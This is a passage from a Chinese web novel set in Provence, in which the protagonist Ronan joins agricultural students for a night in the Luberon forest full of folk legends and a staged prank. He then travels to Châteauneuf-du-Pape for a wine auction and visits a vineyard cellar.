“不是,是普罗旺斯美食协会的会员、沃克吕兹省美食联盟的主席,每年都会亲手策划几十个活动。” 略伦特的经验肯定能满足挑剔的布兰科了吧?! 希尔维的笑容又没了: “但布兰科要不美食活动啊。” 罗南笑着安慰: “放心,我这个朋友本事通天,他可以满足你的一切需求,这个不用担心。” 前几天的电话中,略伦特特意提醒,他什么都会、什么都懂、什么都能做,合作的机会多多,不要局限在美食领域。 希尔维半信半疑的说: “行,那我把需求提给他试试。” 罗南突然想起今天早些时候在梅纳村狗展的见闻,在普罗旺斯,任何活动都和美食脱不开关系,既然这样的话—— “那我也加一个需求。”罗南出声说道。 希尔维曾经说过,布兰科会更加倾向对罗南有利的活动。 斟酌了一下,罗南继续说道: “你帮我加一个需求,无论是用嘴说,还是画大饼,又或者是通过其他办法,我需要让参与的观众接收到一个讯息——未来斯特斯加要进军高端领域了。” 希尔维牢牢的记下来: “好的,我会转达过去。” 希尔维在城堡的问题上费了不少的心,再加上要介绍她和略伦特认识,两个人在编织大院聊了一会便去了餐厅。 请希尔维吃了一顿饭,罗南又当着她的面给略伦特打去了电话。 看出来略伦特最近过得并不顺心,以前罗南给略伦特家打电话,三次里面有两次对方都不在家里,这次居然轻而易举的找到人了。 罗南很简短的介绍了一下这边的情况,略伦特欣然接受了这个邀请,并记下了希尔维办公室的电话,说明天一早一定会和对方取得联系,在短短的几分钟内,他脑海中就出现几十个有意思的活动场景,全部适合此时的卢尔马兰。 送希尔维离开,罗南一抬头,发现天都半黑了,肯定没有办法去森林。 一个人在夜晚进出森林并不安全,教授的学生们给他讲过许多‘黑森林’的恐怖故事。 “算了吧,明天一定去。”罗南如是安慰自己。 他转头去了后厨,想要问问莉亚这次去阿维尼翁是否顺利,刚进入甜品厨房,还没待五分钟,康奈尔吭哧吭哧的跑进来。 “罗南,我妈妈让你去趟编织大院。”小胖子一脸焦急。 罗南回头看了一眼,半开玩笑的说: “你是通信兵吗?最近每次见你,你都是喊我去这去那的怎么次次有事都是你来送信啊。” 康奈尔不好意思的摸了摸脑袋: “最近不是没什么事吗.” 罗南和莉亚打了个招呼,离开了厨房,一出门他就和康奈尔说: “明天你带着人去城堡吧,可以进去布置了。” 康奈尔立正敬了个礼: “好的!保证完成任务!” “阿克尼娜说什么事了吗?”罗南脚步不停。 他才刚刚离开编织大院不久,能有什么事? 康奈尔脱口而出: “有好几个人去了大院,说要找你。” 罗南立即停下脚步,和身后的康奈尔撞到一起: “去编织大院找我?还是好几个人?” 根本不用想,这帮人一定是费尔南教授的学生们,平时罗南经常给他们讲编织大院里发生的事情,还说那里的氛围和他们一样和谐和舒适。 如果是其他人,一定来餐厅找他了。 想明白这些,罗南又小跑起来、将康奈尔远远的甩开,生怕是森林里出现了什么事情。 毕竟他已经连续三天没有进森林了。 否则怎么会同时出现这么多人呢? 教授还不得把人骂死! 此时编织大院已经关了门,里面全部是卢尔马兰手工艺合作社的员工。 还没推门,罗南就问担心出声了: “怎么了,是出什么事了吗?” 但门打开,里面的‘情景’打了罗南一个措手不及。 教授的几个学生被‘供’在院子里,周围有好吃的,有好喝的,还有陪着笑脸聊天的人。 卡福的伙计们见罗南来了,赶紧收敛起‘谄媚’的笑容,生怕老大的老大又拿他们‘开刀’。 “罗南!”跟艾尔登同组的一个年轻男孩第一个跑过来,其他人紧随其后,很快把罗南包围住了。 罗南担忧的问: “你们怎么出来了?是实验出什么问题了吗?” 学生们叽叽喳喳的说着,丝毫没拿他当外人。 “没有出问题,好着呢!怎么可能有问题呢?” “今天是出来采购的日子,想到你天天说卢尔马兰有工艺合作社有多好,我们顺路过来看看。” “今天早上教授回卡朋特拉了,哈哈!” 跟艾尔登同组的小伙子露出八颗牙齿: “主要是我们想你了,你好多天没来了。” 学生们是出来买物资的,而且出来的人数严重超过了教授的要求,和罗南聊了两句匆匆离开了这里。 走的时候,每个人都依依不舍的说。 “你明天一定要来啊,大家天天念叨你呢。” “还想你讲的故事,明天你得多留一会,讲给我们听。” “额,如果明天不能来,那就后天,后天一定要去!” 罗南心里不是个滋味,做了好几秒的思想斗争,对才跑进来的康奈尔说: “你再帮我送趟信儿,跟我妈妈说今晚我不回去了。” 说完,他追上了教授的学生们: “我今天跟你们一起回去,明早我再回来。” 大本营有的是帐篷,绝对能多住一个人。 “真的假的啊?”有学生不敢置信的问。 罗南抢过一袋物资,兴致勃勃的说: “你们不是说,夜晚的森林和白天很不一样吗?走,带我去夜游森林!” 一个人在夜晚进森林是恐怖故事。 一群人进森林.应该会变成不错的有趣记忆吧? 第542章 科学的尽头是神学 罗南每次去森林,都能给这帮学生讲出些新鲜事。 不是卢尔马兰手工艺合作社接待了什么厉害顾客,就是游客在卢尔马兰做了什么让人忍俊不禁的可笑事情,什么都没得可讲了,还能讲讲餐厅里他们听都没听过的好吃的。 但这帮学生能讲给罗南听的,不是大学课堂上教的枯燥农业知识,就是头疼的实验数据谁能愿意听啊? 他们连分享的欲望都没有。 前辈和学长学姐们口口相传下来的森林‘神秘’故事,似乎是唯一能拿的出手的东西。 这不,罗南要跟着大家去森林过夜,学生们高兴坏了,兴奋的将他围在队列的最中心。 迫不及待的听罗南讲完这几天在卢尔马兰发生的有趣事情,又有人主动给他讲起了神秘故事。 此刻天色已黑,还进入了森林的范围,正是讲故事的好时机。 “罗南,你知道拉贝姆吗?”跟艾尔登同组的小伙子名叫安托万,因为艾尔登和罗南关系走的近,他和罗南的关系也较为熟络,一晚上都黏在罗南的左右。 罗南想了一下,实事求是的说: “没听过。” 安托万压低了声音,营造出一个沉浸式的听故事环境: “在吕贝隆的森林中,流传着关于‘拉贝姆’的古老传说,据说拉贝姆是一个体型巨大、形似狼或鬣狗的生物,皮毛上覆盖着鳞片,眼睛在黑暗中发出黄色的光芒,它行走时悄无声息,只会在夜间出现,根据记载,拉贝姆存活了至少有1000年。” 罗南回头问安托万: “吕贝隆的森林里,到底生活了多少种‘古老生物’?这已经是我听到的第十几个存活了几千、几百年的老怪物了,它们都住在这一片,不会打架吗?” 一行人中唯一的女学生,名叫奥菲莉的女孩对罗南说: “它们有可能是许多种,也有可能是一种,比如第一个见到的人给它起名拉贝姆,之后又有一个人见到起名叫‘赫塔贝拉’,并去村子里传播‘赫塔贝拉’的故事但实际上是一个东西。” “但赫塔贝拉是红色眼睛啊,我记得的。”罗南认真的说,“它们不可能是一种东西。” 奥菲莉耸肩: “也许是看错了呢?在黑暗中,黄色和红色的区别并不大。” “但赫塔贝拉没有尾巴。”罗南回忆着说,“奥托万说拉贝姆有尾巴。” “也有可能是看错了,都是夜里——” 安托万叫停了罗南和奥菲莉的‘学术探讨’: “我在讲贝拉姆!” 女士们先生们,这跟赫塔贝拉有什么关系? 别把实验那套脏东西用到这里行吗? 晦气!! “哦哦哦,好的好的。”罗南安慰炸了毛的安托万,“但你说拉贝姆行走时悄无声息,那么它是如何被发现的?” 罗南一开始并不这么较真。 但这帮学生讲的神秘生物太多了。 本着听一个记一个的原则,罗南希望将每一个生物的特征全部记住,并找个机会讲给卢尔马兰的那帮农夫们听。 以前都是这些家伙给罗南讲普罗旺斯‘乡野志怪’故事,现在他可以讲点东西出来了。 安托万贴到罗南的身后,对着他的耳朵喘气: “拉贝姆好奇心非常强,遇到人一定会过来瞧一瞧,它会悄无声息的贴到人的后背上,发出低沉的喘息就像这样。” 罗南离开了恶作剧的安托万,嫌弃的说: “看起来拉贝姆不会主动伤害人,是个善良的生物,反倒是你安托万,你这家伙比它邪恶多了,滚滚滚,离我远点。” 安托万露出阴谋得逞的坏笑: “虽然拉贝姆很少主动攻击人,但那种未知的恐惧和被什么东西在暗处注视的感觉,难道不让人心慌吗?罗南,你想象一下——” 他的手电筒在黑暗中乱晃: “这里,这里,这里,或者这里.正有个东西盯着你看呢!” 学生们长年在野外工作,怕的不是什么森林里的恐怖生物,怕的是枯燥和无聊的日子! 但今天.乐子来了。 大家同时把耳朵竖起来,希望能听到罗南惊恐的求饶或者神经质的暗骂。 但这位金主看起来不止‘学识渊博’,胆识也挺不小啊。 罗南一点都没有沉浸入黑森林的故事,跃跃欲试的四处打量: “不是说有大片大片的萤火虫群吗?在哪里?” 女孩子没有那么恶趣味,奥菲莉用‘老师’的口吻说: “卢尔马兰附近没有水源,也不够潮湿,这片森林里不会有萤火虫。” “没有萤火虫?”罗南生气的说,“但艾尔登说,他每天都能看到萤火虫群,夜里去厕所的时候全靠它们照亮道路!” 另外一个学生哈哈大笑着说: “艾尔登的话你也信?它还说去森林里做实验时看到菌丝跟他招手呢那不过是一个被无限摧残的科研学生在临死前的幻觉罢了。” “那有什么其他的东西吗?”罗南整顿心情,问大伙,“一些在白天或者在森林以外看不到的东西,别让我白来这趟啊。” 深夜在森林徒步的经历,这辈子恐怕难有第二次。 安托万突然清了一下嗓子,抢着回答: “当然有了,就在前面。” 说完,他用手电照了几下身边的几个男生: “放心吧罗南,今天绝对让你‘大开眼界’。” 罗南对森林并不陌生,甚至可以用熟悉来形容。 松露采摘季开始后的几个月,他每周都有有好几天泡在森林里。 但他对黑暗下的森林不熟悉。 而且之前进森林是带着目的来,眼睛和脑袋全部在搜索目标宿主树上。 但这次进森林有七八个人,每个人对森林的了解都在罗南之上。 不需要找路,不需要找标记,也不需要担心什么,只需要跟上前面人的脚步即可.这样一来,身心都可以放松下来,让身体器官无限放大,去感受大自然的魅力。 第一个工作起来器官的是耳朵。 罗南发现黑森林中正在举行一场宏大的交响乐。 蝉鸣一定是主旋律,蟋蟀的鸣叫是高声部,猫头鹰的低吟是低音部,那些不知名动物发出的声响是打击乐,而微风穿过松针和橡树叶的声音,是优美的背景和弦。 罗南真想将这段优美的交响乐录制下来,带回去听。 这不就是之后的‘白噪音’吗? 但一定是高配版本的。 第二个行动起来器官的是鼻子。 由于系统的缘故,罗南的鼻子比普通人灵敏。 生活中他能够捕捉到许多细小的气味,可能由于这个器官太过敏感,大脑应声而出了一个自动开关,让罗南不会每时每刻都会关注到闻到了什么味道,除非闻到了非常刺激或者非常好闻的气味。 此刻的森林,无疑是好闻至极的。 白天地表被太阳长时间炙烤,森林里更为突出的是野生百里香、迷迭香和薰衣草的浓郁香气。 好闻,但太过浓郁。 而吕贝隆森林的夜晚空气是清凉而芬芳的,气温在夜晚冷却下来,变得更为清幽、持久,闻久了紧绷了一天的身体会不由得放松下来。 罗南将身体和大脑完全放松下来,享受‘黑森林’送给他的礼物。 正当他享受其中之时,鄂然发现,身边所有的灯全部熄灭,叽叽喳喳了一路的学生们也全部噤了声。 “为什么关灯?”罗南停在原地。 黑暗中传来安托万紧张的声音: “我们来时做的标记没了,可能是遇到了‘卡米斯’,不能再走了。” 罗南曾经听不同的学生,讲过许多个版本的‘卡米斯’故事,每个版本都大差不差的。 ‘卡米斯’是一种传说中居住在吕贝隆森林里的小精灵,胆子很小,但喜欢恶作剧。 在夜晚的森林里,他们会通过移动林间小径上的石头或改变树木的位置来迷惑行人。 这个年代没有GPS导航,大家进出森林主要依靠记忆和路标,传说中如果晚上在森林里感觉迷路了,而且周围的景物看起来‘不对劲’,比如明明记得刚才经过了一棵形状奇特的大树,现在它却出现在了你的另一边,又或者是说不上来哪里‘不对劲’但就是感觉四周怪怪的——那很可能就是‘卡米斯’在整蛊你。 这个时候,继续向前是糟糕的选择。 最好的方法是坐下来,平心静气的安静待一会儿,如果还是不行,就把衣服反穿,这样可以破解小精灵的魔法。 学生们很有默契的原地坐下,罗南也乖乖的加入了他们。 这个年代,吕贝隆的居民非常愚昧和迷信,就比如罗南身边有超过一半的朋友坚信‘塔拉斯克’是真实存在的。 哦,对了,提一嘴。 塔拉斯克就是罗南让亨利写在立牌上,用来阻止游客进入私人领地的那位拥有六条腿、牛的胸部、带刺的龟壳、长着马耳、一副老人的脸、拥有鳞片状尾巴的怪物。 虽然说此刻围坐在他周围的不是吕贝隆的居民,而是一群搞科学的,但众所周知——科学的尽头是神学。 所以这也没有什么稀奇。 光源关闭,一开始周围一片漆黑,说一点都不害怕是骗人的。 但罗南今晚有一种回到读书时期,和同学们出来‘探险’的兴奋感,虽然紧张和害怕,同时还有着不少的兴奋和期待。 兴奋这一路的‘遭遇’,并期待着接下的一切。 在黑暗中安静的坐了几分钟,眼睛适应了新的环境,‘黑暗视觉’逐渐开启——月光勾勒出了树木和路径的银色轮廓,世界从黑白电视变成了高清默片,又是不一样的美景。 罗南看到了在树上歇脚的不知名鸟类,看到几只蚂蚁爬上了奥菲莉的衬衣,还看到了树与树之间隐约出现、没有受到一丁点光污染的明亮星星。 “你们说——”罗南仰着脑袋,“卡米斯整蛊人类,是不是为了让那些来去匆匆的人停下来、慢下来,认真看看森林里的美景?” 安托万‘不解风情’的说: “我只知道,如果不能破除这个魔法,我们今晚就要在这里过夜了.” 他扭头对一个方向说: “马奎尔、艾可拉斯,你们去看看路标出现了没有,我们今天出来太久,早就过了该回去的时间,不能耽误了,必须马上赶回营地。” 两个学生应和了一声,摸着黑去前面找标记。 在神秘学知识领域,奥菲莉显然比其他人都要厉害一些,她安慰众人: “我们可以试着反穿衣服,还可以围在一起唱些古老的童谣歌曲,办法总会有的。” “啊哦——”安托万发出了一道奇怪的声响,把大家的注意力全部吸引了过去,“但即使能破解‘卡米斯’的魔法,我们好像又遇到了新的难题.你们快看那里!” 像是魔法降临似的,在黑暗的森林中,孤零零的燃起了一团摇曳的蓝光,没人留意它是什么时候出现的。 奥菲莉惊呼出口: “是森林女巫的篝火!” 传说在吕贝隆的密林深处,生活着一位古老女巫。 她不是邪恶的象征,而是森林的守护者,与古代的德鲁伊教有关。 每到月圆之夜或某些古老的凯尔特节日,如夏至节、萨温节等,这位女巫便会在森林的空地上点燃一团蓝色的篝火,与自然界的精灵交流。 如果不小心被人撞到,一定要小心的离开女巫的领地。 传说如果被她抓住,会让人忘记回家的路,直到天亮才放你离开,而‘受害者’只会觉得做了一场奇怪的梦。 奥菲莉似乎是想到了关于女巫的全部故事,惊恐的捂住自己的嘴巴,生怕惊扰到了她,并被其抓住。 “没有用了,快跑!”安托万一把拉住罗南的胳膊,“快,先离开这里。” 但他一个用力、两个用力、三个用力.一点没把罗南拽起来。 罗南只是抬头认真的问: “遇到女巫要跑,但遇到卡米斯又不能动所以他们两个谁更厉害一点?” 现在到底是跑还是留? ‘幕后操纵者’安托万差点笑喷出来。 心想都什么时候了,罗南居然还在思考这些问题。 他装作害怕的说: “我们先离开巫女的领地,去其他地方找办法解决卡米斯的魔法!” 罗南正要起身,突然,在他们正前方的黑暗中传出了一阵沉重的脚步声,还有金属互相撞击的噪音。 声音距离他们越来越近,听起来速度还挺快的。 罗南感觉到胳膊上的手瞬间变得冰冷,随即他耳边爆发出一道扭曲的声音: “该死的,我只让马奎尔、艾可拉斯去点燃了一点磷元素!” 下一秒,安托万抱住罗南的胳膊,用吃奶的力气将他拖离这里: “快走啊罗南,我们遇罗马军团的幽灵军了!这次是真的!!” 第543章 普罗旺斯最具影响力的红酒拍卖会 过去的一年多,罗南不知道被‘恶作剧大王’皮埃尔戏弄了多少次,在他眼中,安托万几人的把戏太过幼稚。 如果今天是皮埃尔来做,他一定会安排个‘演员’在蓝色的篝火旁模仿女巫,说不定还会教那人一些吓唬人的晦涩咒语。 由于他早早的识破了恶作剧的‘精灵’另有其人,才有心情问出‘卡米斯和森林女巫谁更厉害’这样的滑稽问题。 但安托万在这一刻的恐惧,逼真得让他有些犹豫了。 如果这也是恶作剧中的一环,他有可能会在事后建议安托万放弃学农,转行去做戏剧。 罗南回头看向漆黑的森林,兴奋的想,不会真遇到罗马军团的幽灵军了吧? 普罗旺斯有着深厚的罗马历史,许多城镇里都有古罗马遗迹,传说在某些特定的有雾夜晚,尤其是在曾经是古罗马战场的森林区域,可以听到幽灵军团的声音。 在学生们的口中,这是最‘友好’的恐怖生物,他们只会漫无目的的巡逻,不会攻击路人。 罗南像秤砣一样死死蹲在地上,不肯听话的跟着安托万离开,他想要看一眼‘幽灵军团’,回去可以和农夫们吹一辈子了! 除了唯一的女生,其他人都知道蓝色篝火是安托万安排的恶作剧,不过此时的情况好像不太对劲。 安托万居然硬生生的将‘坐地炮’罗南拖行了好几米的距离那地像是被老牛耕过似的。 所以安托万真的害怕了! 黑暗中终于有人出了声,提醒大家赶紧‘撤离’: “那声音不对劲,不管是什么,先离开这里!” 沉重的脚步声距离他们越来越近,而且听起来人数众多,金属互相撞击的噪音敲击在心里让大家本能的想要逃离。 暗骂声、尖叫声、祈祷声同时出现,搞得气氛更加压抑。 “我们掉头回去,‘幽灵军’只会漫无目的的巡逻,避开就行。” 很快,在噪音和脚步声发出的方向也传来了类似的声音——暗骂声、尖叫声、祈祷声,像是回声似的。 只是这回声的内容有点让人无语。 “我们掉头回去,森林女巫不会离开篝火太远,那是她在黑暗中的眼睛,不要靠近那里。” 死死拽着罗南的安托万愣了一秒,回头战战兢兢的问了一句: “艾尔登?” 黑暗中传来另外一道战战兢兢的回音: “安托万,是你们吗?” 罗南:“.” 无语,彻底的无语! 一直到大本营,艾尔登还在埋怨安托万等人不够意思。 采购完居然去卢尔马兰手工艺合作社‘玩’了一圈,还把罗南带来了.害得留守的这帮人以为他们在森林里遇到了什么情况,派人出去‘营救’他们。 罗南挥舞着松土用的金属铁棒,哭笑不得的问: “你所谓的营救,就是敲敲打打这些金属棍棒?我真想找机会告诉费尔南教授,他的学生们做实验不行、问什么都说不清,但应对‘黑暗森林’挺有一套的。” 艾尔登理直气壮的说: “但这确实是最有效的办法之一,那些黑暗中的生物听到声响就会主动退去。” 罗南笑着摇了摇头。 普罗旺斯人友善,普罗旺斯的‘生物’们也一个个胆小怕事的,这要是换个地方,听到这么大的动静,不得主动过来把你吃了? 在刚刚受到了巨大惊吓的奥菲莉不想再讨论什么黑森林的故事,义正言辞的对几个男生说: “你们再讨论这个话题,就去森林里恳求那些生物帮助你们填饱肚子吧,今天的晚饭谁都别吃。” “那怎么行呢?”艾尔登跑向奥菲莉,“我已经一周没吃肉了!” 安托万将罗南也拉了过去,兴奋的说: “罗南,这是我们给你最高规格的欢迎!” 在野外生活和作业,学生们平时过的很艰苦,尤其是吃的方面。 夏季天气热,这里又没有冰箱,只有在采购的那两天才有新鲜的肉吃。 今晚罗南到访,学生们中做饭最好吃的奥菲莉主动要求做今晚的厨师。 晚饭是羊肉通心粉和蜂蜜柚子汁坚果沙拉,安托万他们还偷偷买了酒,虽然简单,但大家吃的非常开心,主要是安托万等人一刻不得闲的给大家讲他们今天看到的情形。 “我们没去过卢尔马兰手工艺合作社,但路上的每个行人都知道它的位置,就像是在艾克斯问米拉波大道在哪里似的。” “你们是没见到,我们说找罗南时,院子里的人是什么反应的,他们给我们搬来了椅子、拿了酒和杯子,还有许许多多的好吃的,铺了整整一桌子,对待我们就像是对待要被国王接见的贵宾。” “那些人看起来像是牛那么壮硕,看罗南的眼神却尊敬的不成样子,那样子好笑极了。” “太遗憾了,真想在卢尔马兰好好转一转啊。” 罗南吃干净了盘子里的最后一颗通心粉: “等你们结束了这轮实验,我请你们在卢尔马兰好好玩玩,再去我的餐厅大吃一顿。” 戈尔登舔着嘴唇说: “罗南餐厅里的食物特别特别特别的好吃!” 安托万开心的对罗南: “但在那之前,我先请你吃我祖母的祖母传下来的秘制炭烤羊肉饼!你明天下午再回去吧,中午先尝尝我的手艺。” 学生们24小时轮班监控森林里的实验体,明天中午轮到安托万的小组做饭了。 罗南好不容易来一次,教授还离开了.大家不肯轻易的放他离去。 罗南放下盘子,歉意的说: “明天一早我就要回去了,等下次的,下次我一定尝尝。” “那就后天!”安托万继续说道,“后天还是我做饭。” 学生们真的很喜欢罗南,刚刚在森林里已经吓成那个样子了,安托万都没有忘记带着罗南一起跑。 罗南平摊双手: “后天也不行,我要去教皇新堡参加一个葡萄酒拍卖会,三天以后才能回来。” 艾尔登顿时瞪大眼睛: “什么拍卖会啊,要去三天那么久?” 罗南耸肩,他接到雅克先生电话时,和艾尔登是同款表情: “我也想问这个问题。” 第二天,罗南回家简单收拾了一点洗漱用品,马上去村里找来了康奈尔。 罗南去教皇新堡的这三天,卢尔马兰这里的事情也不能停下,尤其是婚礼场地的布置。 他嘱咐康奈尔去城堡布置场地时,如果遇到了问题可以去找佐伊,那是佐伊和艺术家们一起设计的,她什么都清楚,如果遇到了佐伊也无法解决的问题,可以去找希尔维求助。 安排完了这件重要的事,又去编织大院看了一圈,他才放心的开车前往博尼约。 之后罗南坐上了雅克先生的奔驰车,去教皇新堡和西奥多尔汇合。 路上,罗南主动询问了许多关于西奥多尔的问题,这是他此行的三个目的之一。 罗南这一次去教皇新堡参加拍卖会有三个目的。 第一个是给斯特斯加粉红酒庄未来向高端发展做铺垫。 第二个是找一找有没有合适的酿酒负责人,这个职位空缺太久了。 第三个目的是,尽可能多的和西奥多尔混熟,这是杰罗姆去马德里前特意嘱咐的。 但遗憾的是,雅克先生对西奥多尔的了解也不多,似乎这位品酒师和协会里的任何人都不熟悉,平时参加聚会也不够积极。 只是因为杰罗姆的‘退休’,他近期才频繁的出现在聚会上。 “真是一个神奇的家伙。”罗南敲打着膝盖说,“不仅神秘,而且身为一个品酒师居然不喝酒.之前两次聚会他喝的是果汁。” 西奥多尔只会让酒在他的口腔里走一遭,之后就会将它们无情的吐出去。 雅克先生拍了拍方向盘: “过去的经验告诉我,如果想要在几天后活着离开教皇新堡,有一件事必须要学习,那便是吐,罗南,在接下来的几天你必须尽快学会这个技能。” 罗南惊恐的看向一侧开车的雅克,以判断他是开玩笑还是认真的: “吐?像西奥多尔那样尝尝味道就吐出去?” “就是西奥多尔那样。”雅克看起来非常正经,“我知道这非常难,因为对于你我这样喜欢喝酒的人来说,即使大脑命令你把酒吐出去,嘴巴还是会自作主张的把那口酒咽下去但请相信我,只是小小的背叛一下身体,换回的将是灵活的大脑、嘴巴的说话能力以及最重要的——” 他抽空看了一眼罗南: “一个文明人的声誉。” 罗南现在的酒量非常不错。 当然了,普罗旺斯就没有酒量差的男人。 雅克先生的话,无疑挑战了一个男人的好胜心理。 罗南不置可否的回复: “到时候我会看情况处理,如果实在喝不下去了,我会停下。” 罗南没参加过葡萄酒拍卖会,但想要让酒卖出价钱,之前肯定会安排试喝环节。 试喝而已一次能喝多少啊? 雅克先生推了下眼镜,笑着说: “你知道,去年的拍卖会期间我一共品尝了多少种葡萄酒吗?” 听到这个语气,罗南猜出那一定是个‘天文数字’。 他斟酌了一下,回复道: “200种?” 雅克耸肩: “450多种,如果把每一口都咽下去,绝对撑不到结束的那刻,我发誓今年再也不喝那么多种,所以这次只会留两天,相信第三天你和西奥多尔已经混熟了。” 雅克先生这次来也带着目的。 给他的米其林餐厅物色高端红酒是主线任务,支线任务是帮助罗南和西奥多尔熟悉起来。 事实上他今年可以不亲自来,只是担心罗南和西奥多尔不够熟悉,影响了伊内斯安排的任务。 罗南终于问出了心中的疑惑: “这次拍卖会要举行三天吗?每一天都是同样的流程?” 雅克先生先给罗南科普起了拍卖会的背景知识: “我们将要参与的红酒拍卖会将在教皇新堡的一所医院里举行,建立之初这个医院经营的非常艰难,后来靠一个以葡萄园为收入来源的基金会才维持住了日常开销,为了表达感谢,这所医院每年会举行一个公益性质的红酒拍卖会,以感谢基金会的帮助。” 他短暂的停顿了一下,认真看路牌的指引: “后来这个拍卖会办的越来越好,很多教皇新堡的葡萄园主和酒商也加入了进来对医院进行援助,渐渐的这个拍卖会成为了教皇新堡最大规模、最具影响力的红酒拍卖会同时也成为了普罗旺斯最大规模、最具影响力的。” 普罗旺斯有许多著名的葡萄酒区,其中教皇新堡一定是最具传奇色彩的。 14世纪,教皇克莱蒙五世迁居阿维尼翁,命人种植葡萄园供教廷饮用,而担任这个任务的便是距离阿维尼翁只有不到20公里的‘邻居’教皇新堡。 而且教皇新堡是全球首个AOC产区,比波尔多还早了19年! 因此教皇新堡最大规模、最具影响力的红酒拍卖会同时也是普罗旺斯最大规模、最具影响力的。 讲完了背景,雅克才解释要在这里待三天的原因: “普罗旺斯规模最大的拍卖会会吸引整个大区上百位酒商和葡萄种植园主来参与,前后这几天会组织些活动联络感情,你应该知道的,这是普罗旺斯的规矩正式的拍卖会只有明天一天而已。” 罗南点了点头,明白了其中的联系,追问道: “所以,我们接下来就要去‘联络感情’了?” 雅克笑着摇头: “很遗憾,我和西奥多尔都不是喜欢‘联络感情’的人,只是有一些朋友要见,西奥多尔说在教皇新堡出了一个非常有意思的葡萄种植园,我们去见识见识。” 罗南自己种葡萄,还经营了斯特斯加酒庄,这种去‘见识见识’的活动他可太想参与了,于是开心的说: “好,我们去见识见识!” 雅克微笑着提醒: “记得待会一定要把酒吐出去,不要影响明天的状态,这是肺腑之言。” 第544章 前途光明的年轻人 教皇新堡产区通常指教皇新堡周围,以及邻近的贝达里德、库尔泰宗和索尔格这几个村子所生产葡萄酒。 罗南和雅克先生此行的目的,是距离教皇新堡仅有几公里之远的库尔泰宗村,西奥多尔正在这里的一所葡萄种植园里等待着他们。 库尔泰宗在教皇新堡的西北方向,从博尼约出发抵达那里要绕教皇新堡半圈,这正好给了罗南一个观察教皇新堡葡萄园的好时机。 别看教皇新堡和卢尔马兰一样,也在沃克吕兹省的辖区范围里,但这里地形和土壤和卢尔马兰是完全两种类型。 卢尔马兰附近多为石灰岩土地,罗南人工更改了土壤类型,在其中加入了黏土,成为了黏土-石灰岩混合土壤,而教皇新堡最具特色的地貌为‘卵石平原’。 “真是一方水土养一方葡萄。”罗南看着车窗外没有尽头的葡萄园感叹,“这里的葡萄居然生长在‘鹅卵石’上。” 这些‘鹅卵石’多是石英岩,阿尔卑斯山冰川的残余,经过罗纳河谷数千年的侵蚀而变得光滑,岩石在白天会吸收热量,在夜间释放热量,从而加速葡萄的成熟,在干燥的夏季,这些岩石还能起到保护层的作用,帮助土壤保持水分。 根据AOC要求,歌海娜最低的酒精度必须达到15%以上,而教皇新堡‘卵石平原’上生长出的歌海娜轻轻松松就可以超过17%,这全部是‘鹅卵石’的功劳。 雅克先生也看向车窗外的风景: “可不是谁都有资格在‘卵石平原’上种植葡萄,听说鹅卵石区今年最便宜的地块也要100万法郎/公顷了。” “多少?”罗南发出了‘没有见识’的高音。 卢尔马兰最贵的南坡也才十几万而已,教皇新堡最便宜的‘卵石平原’要100万/公顷了? “你没有听错。”雅克先生重复了一遍,“卵石区最便宜的也要100万法郎/公顷,特级卵石高原可以卖到200万法郎以上,这是杰罗姆告诉我的,他刚刚把土地出手了。” 罗南自嘲的说: “杰罗姆说他的那50公顷葡萄园以35万法郎/公顷的价格卖了出去,我还羡慕的整整一周没睡好,这下好了,我可能要羡慕的一个月睡不着觉了。” 教皇新堡不止有‘卵石平原’一种地貌,也有普通的石灰岩,除此之外还有一部分砂质区。 杰罗姆时期的斯特斯加走亲民路线,他所收购的土地都是价格加亲民的其余两种,但即使这样,土地价格也是卢尔马兰的三倍有余。 雅克先生也发出了‘羡慕’的叹气,论地价,金三角中的博尼约也比不过寸土寸金的教皇新堡: “没有办法,AOC严格规定了教皇新堡的葡萄园面积大小,只有3400公顷,新开垦的土地禁止加入AOC面积不变,土地易手的频率却越来越高,最直观的感受便是——拍卖会上的成交价一年比一年高,每年都在破纪录。” “羡慕,真羡慕啊。”罗南眼馋的不成样子。 有些人辛苦一辈子买不下一公顷土地,有些人卖出去了一公顷土地够吃一辈子,这便是差距。 罗南不由得想到了上个月底朱莉特在聚会上跟他说起的事情,农业部解决完‘奶酪山’的危机,便要着手推动农田扩张。 是得努力多买下些土地了。 你看看人家杰罗姆,50公顷土地在手,干什么都那么任性,生意说不干就不干了。 这件事还是要上点心,不能觉得事不关己,要早做准备。 在罗南给退休做打算的同时,雅克先生努力分辨四周的路标和地形: “我们快到了,西奥多尔的这位朋友就在这附近。” 在普罗旺斯,葡萄种植者出售葡萄的方式有三种。 一种是直接卖给合作的酒庄换成钱,另外一种是换等价值的酒,还有一种是钱和酒按照比例分配,通常普罗旺斯人会选择换酒或者换成一部分酒,因此比较大型的葡萄种植园里都会有酒窖。 罗南跟着雅克先生,在库尔泰宗的一座葡萄种植园的酒窖里见到了一袭正装的西奥多尔。 今天西奥多尔打扮的很正式,和每次聚会穿的像是‘小飞侠’一样的背带裤衬衣判若两样。 只不过黑西装和他背后背的大黑书包挺格格不入的也不知道里面放了什么。 虽然西奥多尔和罗南不熟,但这家伙并没有忘记伊内斯的嘱托,将雅克和罗南接进来后,他主动给这座种植园的园主介绍。 “这位是雅克先生,他的名字你肯定听过吧,普罗旺斯五家二星米其林餐厅之一的老板。”西奥多尔停顿了一下,用更加正式的语气继续说,“这位是罗南,斯特斯加粉红酒庄的新老板,他在普罗旺斯相当有‘声望’,新晋艺术家中的佼佼者、他所经营的工坊拥有和福克斯家族齐名的荆棘烈焰图样、他还开了一家中餐馆,是卢尔马兰最热闹的地方。” 说完这一大段话,西奥多尔长出了一大口气,如释重负的给雅克和罗南介绍种植园的园主: “从杰克逊先生这里采摘下的葡萄所生产的葡萄酒,是去年拍卖会的‘标王’,那味道让我一年都没有忘记,他的酒窖里全部是好东西,我们今天有口福了。” 罗南对西奥多克投去感激的目光。 居然来见了去年的‘标王’。 他不知道去年的‘标王’拍到了什么价格,但那定然不是一瓶酒只卖几十法郎的斯特斯加能‘高攀’得上的。 显然,今天的行程是给罗南量身定制的。 杰克逊礼貌的将三个人带去他的地窖: “哈哈,要感谢去年西奥多尔给那款酒的超高评价,那些收藏家们相信你的味蕾,我这里有不少新鲜货,大家一起尝尝。” 和这附近高达百万每公顷的葡萄园地价相比,杰克逊先生藏酒的地方就显得平平无奇了,那就是一个普普通通的地窖。 罗南跟随前面几个人走下陡峭的台阶,扑面而来的是一种美酒中夹杂着‘腐朽’的味道,再深呼吸几口,还能闻到隐隐的橡木和冰冷石头味.总之不太好闻。 地窖里的光线很昏暗,但足够看清一切了。 